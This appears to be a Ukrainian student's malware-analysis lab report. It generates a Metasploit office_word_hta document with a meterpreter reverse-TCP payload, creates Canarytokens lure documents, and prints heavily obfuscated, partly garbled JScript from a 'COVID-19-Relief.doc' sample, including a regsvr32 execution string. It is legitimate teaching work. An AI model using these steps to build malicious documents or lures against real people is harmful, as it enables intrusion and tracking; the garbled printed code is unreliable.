



МІНІСТЕРСТВО ОСВІТИ І НАУКИ, МОЛОДІ ТА СПОРТУ УКРАЇНИ  
НАЦІОНАЛЬНИЙ ТЕХНІЧНИЙ УНІВЕРСИТЕТ УКРАЇНИ  
«КИЇВСЬКИЙ ПОЛІТЕХНІЧНИЙ ІНСТИТУТ ІМЕНІ ІГОРЯ СІКОРСЬКОГО»  
ФІЗИКО-ТЕХНІЧНИЙ ІНСТИТУТ  
Кафедра Інформаційної Безпеки

Зворотна розробка та аналіз шкідливого програмного забезпечення

---

Лабораторна робота №7

Аналіз інтерпретованого та проміжного коду

**Мета:**

Отримати навички зворотньої розробки, деобфускації та аналізу інтерпретованого та проміжного коду.

Перевірив:

\_\_\_\_\_

Виконав:

студент III курсу

групи ФБ-01

Сахній Н.Р.

Київ 2022

## Завдання для виконання:

- Дослідження зразків (Згідно варіанту маємо:  $11 \bmod 10 = 1$ -ий зразок ШПЗ):
  - Metasploit

```
(nazar@snz24) - [/home/nazar/KPI/RevEng/Lab7_Report]
$ msfconsole

+-----+
| METASPLOIT by Rapid7 |
+-----+

==c( (o) ( ( ) ) )
      |
      | RECON
      |
o o o      o o
      |
      | PAYLOAD
      |
( ( ) ( ) " " " " ( ( ) ( ) " " " ( ( )
=====

EXPLOIT

==[ msf > ]=====
\ ( @ ) ( @ ) ( @ ) ( @ ) ( @ ) ( @ ) /
*****

LOOT

=====
( ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( )
=====

KALI
BY OFFENSIVE SECURITY

+-----+
| metasploit v6.2.23-dev |
+-----+
+ -- --[ 2259 exploits - 1188 auxiliary - 402 post |
+ -- --[ 951 payloads - 45 encoders - 11 nops |
+ -- --[ 9 evasion |
+-----+

Metasploit tip: View advanced module options with
advanced
Metasploit Documentation: https://docs.metasploit.com/
```

Отже, відповідно до власного варіанту взятого за модулем, досліджуватимемо перший із наданого списку зразок, який буде згенеровано із налаштуваннями за замовчуванням у середовищі msfconsole ↓

\* **exploit/windows/fileformat/office\_word\_hta**

Оберемо та запустимо модуль. У процесі створення бачимо автоматичний запуск сервера та генерування документа із шкідливим навантаженням.

```
msf6 > use exploit/windows/fileformat/office_word_hta
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/fileformat/office_word_hta) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.124.128:4444
[+] msf.doc stored at /home/nazar/.msf4/local/msf.doc
[*] Using URL: http://192.168.124.128:8080/default.hta
[*] Server started.
```

Для аналізу зразка ШПЗ застосуємо програмку [rtfdump.py](#)

```
(nazar@snz24) - [/home/nazar/KPI/RevEng/Lab7_Report]
$ ./rtfdump.py /home/nazar/.msf4/local/msf.doc

1 Level 1 c= 4 p=00000000 l= 5740 h= 5227; 1024 b= 0 u= 60 \rtf1
2 Level 2 c= 2 p=000000b9 l= 48 h= 4; 1 b= 0 u= 14 \info
3 Level 3 c= 0 p=000000c0 l= 17 h= 2; 1 b= 0 u= 7 \author
4 Level 3 c= 0 p=000000d4 l= 19 h= 2; 1 b= 0 u= 7 \operator
5 Level 2 c= 1 p=000000ec l= 74 h= 16; 4 b= 0 u= 36 \*\xmlnstbl
6 Level 3 c= 0 p=000000f9 l= 60 h= 16; 4 b= 0 u= 36 \xmlns1
7 Level 2 c= 1 p=00000139 l= 5409 h= 5207; 1024 b= 0 u= 10
8 Level 3 c= 3 p=0000013b l= 5406 h= 5207; 1024 b= 0 u= 10 \object
9 Level 4 c= 0 p=0000018b l= 27 h= 5; 1 b= 0 u= 10 \*\objclass Word.Document.8
10 Level 4 c= 0 p=000001a9 l= 5233 h= 5202; 1024 b= 0 u= 0 \*\objdata
Name: 'OLE2Link\x00' Size: 2560 md5: baea1416a66fc7fea0e33bad2d51870f magic: d0cf11e0
11 Level 4 c= 1 p=0000016d l= 59 h= 0; 8 b= 0 u= 0 \result
12 Level 5 c= 0 p=00000162 l= 49 h= 0; 8 b= 0 u= 0 \rtlch
13 Level 2 c= 0 p=00000165 l= 13 h= 0; 0 b= 0 u= 0 \*\datastore
14 Remainder c= 0 p=00000166 l= 1 h= 0; 0 b= 0 u= 0
```

Як було зображено на фото вище, у дампі присутній об'єкт з цікавим іменем “OLE2Link”. Оскільки даний об'єкт містить технологію “OLE” (Object Linking and Embedding), яка у свою чергу переформовується у посилання, то варто більш детально розглянути цю структуру.

Також можна було помітити, що початок даного об'єкту знаходиться за адресою «0x000001a9». Спробуємо переглянути у шістнадцятковому представленні:

```
$ xxd /home/nazar/.msf4/local/msf.doc | grep "000001a0" -A 6
000001a0: 756d 656e 742e 387d 0a7b 5c2a 5c6f 626a ument.8}.{\*\obj
000001b0: 6461 7461 2030 3130 3530 3030 3030 3230 data 01050000020
000001c0: 3030 3030 300a 3039 3030 3030 3030 3466 00000.090000004f
000001d0: 3463 3435 3332 3463 3639 3665 3662 3030 4c45324c696e6b00
000001e0: 3030 3030 3030 3030 3030 3030 3030 3030 000000000000000000
000001f0: 3030 3061 3030 3030 30a6 3063 6631 3165 000a0000.d0cf11e
00000200: 3061 3162 3131 6165 3130 3030 3030 3030 0a1b11ae10000000
```

Проте, схоже, що ці дані додатково були закодовані. Для того, щоб зробити їх більш читабельними, збережемо останній стовпець у наступному форматі:

```
$ xxd /home/nazar/.msf4/local/msf.doc | awk '{print $NF}' | tr -d '\n' > link.txt
```

Перенесемо дані лише про наш об'єкт у деякий додатковий файл та спробуємо розкодувати їх із ймовірного шістнадцяткового кодування.

[illegible]

Нарешті було отримано адресу сервера, яку було використано для генерування корисного навантаження при створенні шкідливого документа в Metasploit.

- Створення приманки Microsoft Word Document та Acrobat Reader PDF Document за допомогою онлайн-ресурсу [Canarytokens](#).
  - \* Microsoft Word Document

A screenshot of the Canary Tokens web application. The header features the Canary Tokens logo on the left, the text "What is this and why should I care?" in the center, and a "Documentation" link on the right. The main content area has a light gray background and contains three white input fields with green borders. The first field is a dropdown menu with "Microsoft Word document" selected. The second field contains the email address "sakhniy.nazar@gmail.com". The third field contains the text "Word document was opened".



Download your MS Word file

Документ містить приховане посилання (можна знайти, якщо розпакувати архів та вивудити всі URL-адреси) на онлайн-форму `.aspx`, яке у режимі реального часу збирає актуальну деяку інформацію про користувача, який відкрив цей файл

За допомогою HTTP заголовка “User-Agent” можна отримати інформацію щодо використовуваного браузеру

### History for Canarytoken: 7klzr1tj69szy8mz3ig4cbdsdq

Схоже, що й одна цікава компанія (Amazon.com, Inc.) уже також вирішила відвідати мою онлайн-форму, але то скоріш за все від них перевірка документа на шкідливість

#### Incident Map

#### Incident List

**Date:** 2022 Dec 25 20:09:12.095597 (UTC) **IP:** 52.33.185.26 **Channel:** HTTP

**Date:** 2022 Dec 25 20:02:22.664092 (UTC) **IP:** 178.158.203.8 **Channel:** HTTP

Geo Info	
Country	UA 🇺🇦
City	Boiarka
Region	Kiev
Organisation	AS43139 Maximum-Net LLC

## \* Acrobat Reader PDF Document

What is this and why should I care?
[Documentation](#)

Acrobat Reader PDF document

sakhniy.nazar@gmail.com

PDF document was opened

Якщо PDF документ відкривати із правами на редагування, то можна помітити попередження про підключення до веб-сайту, який намагатиметься зібрати інформацію про браузер користувача.



- Аналіз коду із файлу .jse зразка з розділу 7.3.4.
  - Розшифрування base64-кодованих рядків у масиві **a**.

Завантажимо бібліотеку **oletools**, щоби скористатися інструментом **olevba**

```
(nazar@snz24) - [/home/nazar/KPI/RevEng/Lab7_Report]
$ sudo pip3 install oletools
[sudo] пароль до nazar:
Collecting oletools
  Downloading oletools-0.60.1-py2.py3-none-any.whl (977 kB)
    977.2/977.2 kB 3.1 MB/s eta 0:00:00
Requirement already satisfied: olefile>=0.46 in /usr/lib/python3/dist-packages (from oletools) (0.46)
Collecting msoffcrypto-tool
  Downloading msoffcrypto-tool-5.0.0-py3-none-any.whl (33 kB)
Collecting easygui
  Downloading easygui-0.98.3-py2.py3-none-any.whl (92 kB)
    92.7/92.7 kB 10.8 MB/s eta 0:00:00
Collecting colorclass
  Downloading colorclass-2.2.2-py2.py3-none-any.whl (18 kB)
Requirement already satisfied: pyparsing<3,>=2.1.0 in /usr/lib/python3/dist-packages (from oletools) (2.4.7)
Collecting pcodedmp>=1.2.5
  Downloading pcodedmp-1.2.6-py2.py3-none-any.whl (30 kB)
Requirement already satisfied: cryptography>=2.3 in /usr/lib/python3/dist-packages (from msoffcrypto-tool->oletools) (3.2.1)
Installing collected packages: easygui, msoffcrypto-tool, colorclass, pcodedmp, oletools
Successfully installed colorclass-2.2.2 easygui-0.98.3 msoffcrypto-tool-5.0.0 oletools-0.60.1 pcodedmp-1.2.6
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It
is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv
```

Для знаходження шуканого масиву **a**, проаналізуємо вихідні коди скриптів, що були вбудовані у документ ↓

```
(nazar@snz24) - [/home/nazar/KPI/RevEng/Lab7_Report]
$ olevba -p 1234 COVID-19-Relief.doc
olevba 0.60.1 on Python 3.8.6 - http://decalage.info/python/oletools
=====
FILE: COVID-19-Relief.doc
Type: OLE
No VBA or XLM macros found.

=====
FILE: /tmp/oletools-decrypt-7qc7biui.doc in COVID-19-Relief.doc
Type: OpenXML
WARNING For now, VBA stomping cannot be detected for files in memory
-----
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
-----
Sub FormatWords()

Dim c6p8J996 As Long
c6p8J996 = 706813
Dim c461X2xKN38 As Long
c461X2xKN38 = 49372
Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
.Text = "Warning!"
```

```
-----
VBA FORM STRING IN 'word/vbaProject.bin' - OLE stream: 'Data/0'
-----
0var a= ['wrrCu8Kxw4DDw==', 'w7bCt80ow6kKXRY=', 'dCkIw4MV', 'w67CoMK/UcKUw7DDuQ==', 'w6oDM3IgHkU=', 'wpHDjmsqwp==', 'w7HDigDcNUU=', 'wod9FcKs
w5Jc1cKzGirCvs0eB7Cqs04woE=', 'U80zTkXCL8KBw6HDiM0hownCsmop', 'DcKbwrFCL0==', 'CMKgwrrjDvc0iW4LCmWPCqTPDhMKS', 'cs0Gw5LDg8KfDs0Jw7zDvLPCp0
TCHQYGC0AwqWXCMMKQw4ZSwqhWZM0ewqHcgCz0w5LCgQ==', 'Bktr', 'w5kDLXQ', 'IzPCKc0WBs0PC80Tw5tjw4LDosKywoM=', 'aika', 'wo7DucKlNwp0=', 'Ec0D080ew5
U=', 'X8K2w6vDp80G', 'c8K2ccKAw64=', 'w6vCkc0ZAMKU', 'w5RqW5/CuUI=', 'TyTDnsK+wpk=', 'Y8Ksw5DDvc04', 'BskFPM0Uw6jCt0==', 'NsKfw5Y9wA=', 'SM0Xw
5Xdg80KT8KvWqvCjAXDf0w=', 'TMKU4cew64=', 'wo/DkcK7woPDp==', 'wonDuWDiEs=', 'QMK4w57CmVcJw63Cp0Lw75Pw77DlRgJK80dwqBdug7CkMKHwp3Coc0CAM0
CFM0fw7ZcRM0YEvCjUR6PWLdvMKqW447wonDtxzCgM0KvY8idAzCRMKgw70zIck3w40Uijg7MLTCLs0RGM0hJbdlRgFBsKbA80JsxEtBMKGwrRlZc0tDCPDn8Kw4AJNRAiW
6JgwpdsdwnwbrHdnjJdos0fvc0ewqzDgWITs09I15WworDtsKGwq3DkXcEw7LDuc0IwrvCjDzDKBN1fx8EwNcrC0pZMK9Wx5+AmjDksKEQsKtW7HDt8KUZRUW0TgEwFmw4E
zfkGEXc0qdV0VDEW7w5tAegZUKCkxw75/wqnCt1vCpEo+wwqzCrQJdckKGQJcbk0Yw7HDpCKCH0nde80608KkqWl0wpZ1w5LChwEzwpCqjp8w7JHwpR1w6kLbs0gw6sjCt0J5
RZgI805wq9fCmKwvpzCvEbCoM0Jw7PDusKew7/CoxsvBjBow6szTzCvUPDgV0wXMO4w5/CoRUewpK2RX3DqCKRfBRjwoHDh8KMcw7DpM0Tw4zCjM0BWMKXT80Sv7HCn80LWM0
XwpBQCKn2wpzCuxvDn9DMVysZsKzaX5BwqChM0wqWqbwrXCiHwJMK5wq7DtnLDmc0cw7k7V80Bw6hXw6x7w593w5jDrylH5BMhwp7CoWxqW6IkLgbDs8KqF800wqvD507Cu
806wpPDtW/DtyzDp8KNw5480kQgfs0ewrTDLsKbw5F/ekjDi80ww4UJwoFWXD/DnV3DgxDcuUUrwrYfDks5w5rCjWrcj807aFfDvxt3wpPDjlfW7bCkKew4PDgDjCpcK20Tp
gwruxw6jCmHMKBSKkJH3D180RLTEtCic0cw6VLB8KJ01Zbw5Eb0cKyCXQ3w7QBSBJCvMKgw5x/MDbDp8K30ibCmBHdHzbCnljDt8K8w6ddw480woEdMzUkGzHDuANENC0XwGwPw
4Vgw6zCv2dSeFzjCec0G8TsxDCksw7Yvw4pvA3A8wox1w7nCjC08TFPCs80Zwr7Cs80BwrB/wqVcts0T7nCs1zC1jZ5w441wr16Gs0Kw7YdwpRdu8K7w0J0Bc0DwrFLw4EYyCk
GNsKhwpHDjRpswqtkw79ZK80DBK1Uw7XDoYbC0s0QVE/UsKXa2Nc5AqwpNMw5PdmI7r7r1CwXcPs09w0fChc0tXs0/w5VTIuzDuc0kXFB9w7J9w6AawqgJVhCshXCj5dyW
sKUWp/CuUzCks0FwC0NCs0JFCEybM7CsM0YIkpIXc0FLgPD18K1wpTDvRLDpgRdmM06eM0KWDPClM08woEwM1LDh0QAw741w7J5Ak1LdsK0wptUukw3wrnDp8K0bsKcW6vChTF
KIRzCLDnCGQRHRAtwqVCoM07L28YxSKhwodTWO3dsg8LC0sPDTCLch4wr3Dhm8XwqAxbXjCjckZb2Dc1hd0VcKjwrDcrC0U0803KM0aQko7CMKvF802Rs0qVsktwnChM0wM
MK9w5XdmVPw5YPMK3IhTcGmKpw45Q8KETAEJYUAtVs0PiSkCw50LMM0/wrLCrnfCLGDDpM0gqwdnSDtHckKpWgAw7TDMc0Ew6vCmCLaw43DrgRgRw5UIGdpow6DcV8K0wSE
rT80Kw5KYwobdgCk0w7wPw7fZr19w4jJdkMKDwpjDhs00Ns0Zwo3Ct30Cw4VU080KwqfZHzCrUKiF3bDsHbCh2nCpxAXC80FLUwRQD/CoRzCh8KLwpzDrckkwpzCocKvW6/Ct2rDs
Cvdt01wqWdmg40w4Miw5zCqUBsw5s1TmkIw7Lpw7UzAB/CtMKW8yXDs2kVsk9woETB0fDm0Ieg=', 'AckBN80Xw40=', 'w5Ldt0C0wo/DLCk8w7N5wr9zEw=', 'w7F3wp
rCf0=', 'w0K5JsKHfg=', 'w55fV0TcsA=', 'OMK8Ps0Fw7c=', 'w0jGwvpbD100=', 'w0jCg1bCvcKq', 'w0FZAc0qW70=', 'VMKq08Kw5A=', 'w5J5fTo=', 'ac0Gw4fDh
80AbsKEwQTCqnDvQ0=', 'w6M4HMKpw6YTMKTw5d8w73CfBs0woXcnjFaw61KPsKza3h0w7hjw60=', 'w5oqLXcj', 'URcRw4jDjMKBw79ew7J4wrnDgJ0gw0I=', 'YArDo8K
ZwqzCvcKq', 'wqfLBS0Wk7=', 'wojDhCjWDA=', 'w4h7F2nCLrW=', 'w6NpwrFcsYk=', 'wrIjQcKn', 'wq7CoAfDqVbDmA=', 'wpBxw4XCLskLw7dewoEAW6DcTAMjwrrD
pj3Dl0Kwqgd4wq3CjC0hwrHC1EFB', 'w7NkVcK9wpnCjMogD37CrsKA', 'w5BpaC/Cu8Rz7PDjMOLwq0w48=', 'wqvDs8KKwpDDtg=', 'w6zDjhCuFY=', 'dckPw6crrw7A
=', 'ch06wDsdDQ=', 'w5dLwpHqC0w=', 'wqzDhBdFEQ=', 'a19Iw5XD0s=', 'Ls0Hw5DCu8Kn', 'Y0p5w5PDmg=', 'agV7es04', 'fckWw5UwW4E=', 'w0xwrHd1WE=',
'wrMHL80lwrw=', 'wqjCpBbDsgs=', 'wqPDnUIwvpE=', 'wrDCT8Kw5DDtg=', 'c806w4Dh80o', 'wpjCrMKc0M0Z', 'Pck/w40Zwpk=', 'w67CoMK/UcKpw67DqX/DpMka
wrk=', 'wrjCnMKzfg=', 'A8K0F0jWg6=', 'w4bDvzD2tRQ=', 'fMKZRM5w4Y=', 'ABjCsc0od0=', 'ST0z4zDvA=', 'w6fCjs0Uw4IM', 'w6Tcr80+Jw=', 'UMK1w4P
CL0=', 'w6jCvckjTCk3', 'w6nCPM06Pck1', 'bcKdw5rD180P', 'w7Vcs0yW78n', 'TBwkKqA=', 'dXM1AzI=', 'w6Ed0k0e', 'Pskew507wrs=', '0sKk0shw5M=', 'DM0
ZG80dw6=', 'UsK2w4gYw5k=', 'FALCR80CRg=', 'w5Vow4DCk1M=', 'Xhg6w6vDhg=', 'wzpDvxyZIA=', '0uQwIzs=', 'w6dCWT7Cuw=', 'as0Ymncow=', 'Xz7Cp1
rChA=', 'BMKEc0Uw7=', 'dckKw6vCnlo=', 'Q0s8w7Bdqw=', 'Shg0FDs=', 'w6fDusrC13c=', 'wrAYLs0mWq0=', 'wpwzC0qwoJdms04THHCjckK1rdsCknwqjDn0/
rCW3C107CozxpGM0dw4ptw5NzskXUSd8cKYCutt71xw6TCsgnCI0DD1S0MwrrfCL0awpB5Mc0VZQHCLTY=', 'Bw7CoM0w', 'c80cw5bDhs0R', 'wrXCLMK4Q80J', 'w53Cr
sKfasKd', 'woZswqVdkWM=', 'wqY8IMKdCg=', 'wr3C1MKbcc0oVcK77CgBPCsc0Pw44jCvE=', 'w6x/ADXChg=', 'cQPCrQjCnA=', 'wpXDrMKbwoc=', 'w6F4w6rCLU
```

```
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', 'HgjCsc0bXA
==', 'wqQXsKkUwp4=', 'UH0TCsnCks0aXyXnDs0w', 'w7R1wo3CgF5=', 'woRRB8KA7A=', 'BBPCr80H', 'w73Csc0Dw6Iy', 'U80UdWjCo80Kw6rDs80xwobCtmQ=', 'bATD
s8KZwpo=', 'wofCpKPKcsKP', 'FFCu2PcTDM4Pg/CgsKlW55Cw0TCLs0GGS0PLncBFzUsw7oTCkB', 'w5BzPmrChQ0=', 'QMK3s5DDHs0c', 'wpBywrvDmH0Q=', 'cmp2w62D
jQ0=', 'KckjwrHDjMoe', 'wqZfAM0kw78=', 'woDucKYwp/CmQ0=', 'askfw5fdGc0e', 'UMkXw6vCnXk=', 'w7rCjMKLrMKw', 'w6/DmX3DlRw=', 'CwjCjC05AA=', 'ZE5
qw6XDKw==', 'YARDuMKewrCtMKR', 'wrzDjMK3wpDngFv', 'D0/Cp800cJKRQ0e='; (function(c,d){var e=function(f){while(--f){c['push']([c['shift']()
]);});e(++d);}(a,0x67));var b=function(c,d){c=c-0x0;var e=a[c];if(b['eovtsg']==undefined){(function(){var f=function(){var g;try{g=Fu
nction('returnx20(function(){x20+'+}.constructor(x22returnx20thisx22)(x20)+'+');})();catch(h){g=window;}return g;};var i=f();var
```

```
), 'hCjKw': 'VaFuX', '0rvZM': b('0xcb', 'p7DE'), 'aEbSt': 'regsvr32\x20-s\x20');try{if(el[b('0xcc', 'iz'e')](el[b('0xcd', 'jLXr')], el[b('0xce',
'z0r')])){var z=el[b('0xcf', 'Ta(&')], el[b('0xd0', 'dlE')](bH, dK, function(A,B){if(!B){return el['knCMG']([callbaCk,A,!]);}}else{return
el['knCMG']([callbaCk,null,!]);});}else{var ey=el[b('0xd1', 'ToEm')][b('0xd2', 'x(fL')][!], ez=0x0;while(![!]){switch(ey[eZ++]){case
'0':var eA=0x84639e;continue;case'1':var eB=0xb498f;continue;case'2':eJ[dN](el[b('0xd3', '(0%2')]+ek);continue;case'3':var eC=0x1d51;con
tinue;case'4':var eD=0x182d8;continue;case'5':var eE=0x14229;continue;case'6':break;}}catch(eF){}function eG(eH){var eI='ziZTu':function(e
J,eK){return eJ+eK;}, 'GcoXR':b('0xd4', 'z0r'), 'FaHy0', 'WBR[]', 'K0LSQ':function(eL){return eL();}, 'Iveyb':b('0xd6', '7Q1N'), 'gJ
rCG':function(eM,eN,eO){return eM(eN,eO);}, 'CeLnL': 'oKKhU', 'MnbLJ': '6[4]2[7]1[3]0[8]5', 'rhdBV':function(eP,eQ){return eP+eQ;}, 'CKWUE
': 'string', 'jYrRh':function(eR,eS){return eR!+eS;}, 'bLWTC':b('0xd7', '@CD'), 'mWFLW':b('0xd8', 'L0(r)', 'L0zob':b('0xd9', 'fBq4'), 'uKDzw
':function(eT,eU){return eT+eU;}, 'oUwZA':b('0xda', 'x(fL', 'boqoa':b('0xdb', 'LSL#'), 'niteB':function(eV,eW){return eV+eW;}, 'wRSeR':fun
ction(eX,eY){return eX/eY;}, 'AxPQq':b('0xdc', 'L7mY'), 'iHotM':function(eZ,f0){return eZ+e0;}, 'CQiRE':function(f1,f2){return f1+f2;}, 'I
xVSq':function(f3,f4){return f3!+f4;}, 'WLHBT':b('0xdd', 'iz'e'), 'UNmoH':b('0xde', '7Q1N'), 'veHCu':b('0xdf', 'tkq'), 'hggEQ':function(f5
,f6){return f5(f6);}, 'NPmba':b('0xe0', 'iz'e'), 'OGHTF':b('0xe1', 'vHT'), 'EPVbv':b('0xe2', '@E2!'), 'JYfFS':function(f7,f8){return f7+e8;}, '0a
SAN':b('0xe3', '(x*)', 'e0ZLA':b('0xe4', 'T*Y'), 'WxKov':function(f9,fa){return f9+fa;}, 'URx0B':b('0xe5', 'Xdkl'), 'xgB00':b('0xe6
', 'L0(r)', 'xrXEB':function(fb,fc){return fb(fc);});function fd(fe){var ff='rVRXi':eI['MnbLJ'];if(eI[b('0xe7', 'iz'e')](typeof fe,eI[b('
0xe8', 'LSL#')])){if(eI[b('0xe9', 'kFel')](eI[b('0xea', 'jGU@')], eI[b('0xeb', 'kFel')])}{return callbaCk(null,!);}}else{return functio
n(fh){[[]]constructor[eI[b('0xec', 'I)st')][b('0xed', 'Xdkl')](eI['L0Zob'])];}}else{if(eI['ukDzw'])(eI[b('0xee', 'dlE')], eI[b('0xef', 'kc
De')])}{(function(){return[[]];})constructor[eI['ziZTu'])(eI['GcoXR'], b('0xf0', 'tkq'))][b('0xe2', 'L7mY')](eI[b('0xf1', 'MDCu')]);}el
se{if(eI[b('0xf2', '@p!')])('eI['wRSeR'])(fe, fe))eI['AxPQq']!+0x1][eI[b('0xf3', 'WBR[]')(eI[b('0xf4', 'vPfZ')](fe, 0x14, 0x0))](if(eI[b('
0xf5', 'fGTT')](eI['WLHBT'], 'BsYoB'))){(function(){return[[]];})[b('0xf6', 'a!CR')](['debu'+eI['UNmoH']][b('0xf7', 'vPfZ')](eI[b('0xf8', 'T
a(&'))]);}else{var L=eI[b('0xf9', 'lCHT')](cH);if(L){var fl=eI[b('0xfa', '(0%2')][[]]split('')], fm=0x0;while(![!]){switch(fl[fm++]){case
'0':M[cy]=0x0;continue;case'1':return callbaCk(L,!);}case'2':var P=0x2417;continue;case'3':var Q=0x9056be;continue;case'4':M[cx](data
);continue;case'5':M[cB](L,0x2);continue;case'6':var Mnew dJ(d8);continue;case'7':var R=0x2eac54;continue;case'8':M[cz]();continue;ca
se'9':M[cA]=0x1;continue;case'10':var N=0x1181;continue;case'11':M[cC]();continue;case'12':var O=0x19a3ec;continue;case'13':break;}}else{retur
n eI[b('0xfb', 'Ion6')](callbaCk,null,!);});}else{(function(){if(b('0xfc', 'L0(r)')===eI['CeLnL']){return[[]];}else{var fu=fff[b('0xfd', '
xNw')](eI['split'](''), fV=0x0;while(![!]){switch(fu[fv++]){case'0':x['exception']=func;continue;case'1':x[b('0xfe', 'l31')], 'xgB00':b('0xf0
', 'log')]=func;continue;case'2':x[b('0xf1', 'l31')]=func;continue;case'3':x[b('0xf2', 'yReH')]=func;continue;case'4':x['log']]=func;continue;case'5':retu
n x;case'6':var x=x;continue;case'7':x[b('0xf3', 'l31')]=func;continue;case'8':x[b('0xf4', 'yReH')]=func;continue;case'9':x[b('0xf5', 'PVi')]=func;continue;case'10':x[b('0xf6', 'PVi')]=func;continue;case'11':x[b('0xf7', 'PVi')]=func;continue;case'12':x[b('0xf8', 'PVi')]=func;continue;case'13':x[b('0xf9', 'PVi')]=func;continue;case'14':x[b('0xf0', 'PVi')]=func;continue;case'15':x[b('0xf1', 'PVi')]=func;continue;case'16':x[b('0xf2', 'PVi')]=func;continue;case'17':x[b('0xf3', 'PVi')]=func;continue;case'18':x[b('0xf4', 'PVi')]=func;continue;case'19':x[b('0xf5', 'PVi')]=func;continue;case'20':x[b('0xf6', 'PVi')]=func;continue;case'21':x[b('0xf7', 'PVi')]=func;continue;case'22':x[b('0xf8', 'PVi')]=func;continue;case'23':x[b('0xf9', 'PVi')]=func;continue;case'24':x[b('0xfa', 'PVi')]=func;continue;case'25':x[b('0xfb', 'PVi')]=func;continue;case'26':x[b('0xfc', 'PVi')]=func;continue;case'27':x[b('0xfd', 'PVi')]=func;continue;case'28':x[b('0xfe', 'PVi')]=func;continue;case'29':x[b('0xff', 'PVi')]=func;continue;case'30':x[b('0x00', 'PVi')]=func;continue;case'31':x[b('0x01', 'PVi')]=func;continue;case'32':x[b('0x02', 'PVi')]=func;continue;case'33':x[b('0x03', 'PVi')]=func;continue;case'34':x[b('0x04', 'PVi')]=func;continue;case'35':x[b('0x05', 'PVi')]=func;continue;case'36':x[b('0x06', 'PVi')]=func;continue;case'37':x[b('0x07', 'PVi')]=func;continue;case'38':x[b('0x08', 'PVi')]=func;continue;case'39':x[b('0x09', 'PVi')]=func;continue;case'40':x[b('0x0a', 'PVi')]=func;continue;case'41':x[b('0x0b', 'PVi')]=func;continue;case'42':x[b('0x0c', 'PVi')]=func;continue;case'43':x[b('0x0d', 'PVi')]=func;continue;case'44':x[b('0x0e', 'PVi')]=func;continue;case'45':x[b('0x0f', 'PVi')]=func;continue;case'46':x[b('0x10', 'PVi')]=func;continue;case'47':x[b('0x11', 'PVi')]=func;continue;case'48':x[b('0x12', 'PVi')]=func;continue;case'49':x[b('0x13', 'PVi')]=func;continue;case'50':x[b('0x14', 